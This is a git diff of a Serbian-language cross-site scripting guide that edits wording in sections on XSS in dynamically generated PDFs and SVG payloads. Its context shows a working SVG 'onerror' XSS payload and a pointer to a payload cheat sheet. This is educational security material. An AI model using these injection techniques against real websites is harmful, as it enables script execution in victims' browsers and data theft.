||||
### XSS u Markdown-u
|
||||
|
||||
@ -1544,7 +1543,7 @@ Više informacija o ovoj tehnici ovde: [**XSLT**](../xslt-server-side-injection-
|
||||
### XSS u dinamički kreiranim PDF-ovima
|
||||
|
||||
Ako web stranica kreira PDF koristeći korisnički kontrolisani unos, možete pokušati da **prevarite bot** koji kreira PDF da **izvrši proizvoljni JS kod**.\
|
||||
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, i možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
|
||||
Dakle, ako **bot za kreiranje PDF-a pronađe** neku vrstu **HTML** **tagova**, on će ih **interpretirati**, a vi možete **iskoristiti** ovo ponašanje da izazovete **Server XSS**.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -1622,7 +1621,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Pronađite **više SVG payload-a na** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
Find **više SVG payload-a u** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Razne JS trikovi i relevantne informacije
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user